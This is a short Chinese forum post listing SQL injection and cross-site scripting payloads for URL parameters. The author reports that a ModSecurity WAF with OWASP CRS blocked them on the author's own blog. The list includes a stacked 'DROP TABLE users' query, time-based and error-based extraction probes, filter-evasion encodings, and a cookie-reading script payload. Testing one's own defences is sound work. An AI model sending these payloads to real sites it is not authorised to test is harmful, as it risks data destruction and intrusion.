【web安全】URL注入测试

逝水年华 · 发表于 2026-2-28 13:53:51

马上注册，免费下载更多dz插件网资源。

您需要登录才可以下载或查看，没有账号？立即注册

×

/?id=1' OR '1'='1/?id=1 OR 1=1/?id=1; DROP TABLE users--/?id=1' and 1=1 --+/?id=1' and 1=2 --+/?id=1%27%20OR%201=1/?id=1%2527%20OR%201=1/?id=1' and sleep(5) --+/?id=1' and updatexml(1,concat(0x7e,database()),0) --+/?id=1' /*!and*/ 1=1 --+/?id=1' AnD 1=1 --+/?id=1%27%20and%201=1%20--%20/?id=1' aNd slEeP(5) --+/?q=<script>alert(1)</script>/?q=javascript:alert(1)/?img=x onerror=alert(1)/?q=<script>alert(document.cookie)</script>/?q=/?q=%3Cscript%3Ealert(1)%3C/script%3E

复制代码

扫描网站php文件有什么用？

问了AI一些基础注入测试，测了一下自己的博客网站，
OWASP ModSecurity + OWASP CRSWAF 组合，都能抗住。
不愧是连wordpress主程序都拦截的东西，宁错过不放过。
试试你的网站能否抗住吧。

©DZ插件网所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。
本站内容为站长个人技术研究记录或网络，不提供用户交互功能，所有内容版权归原作者所有。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，得到更好的正版服务。
您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。
如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解！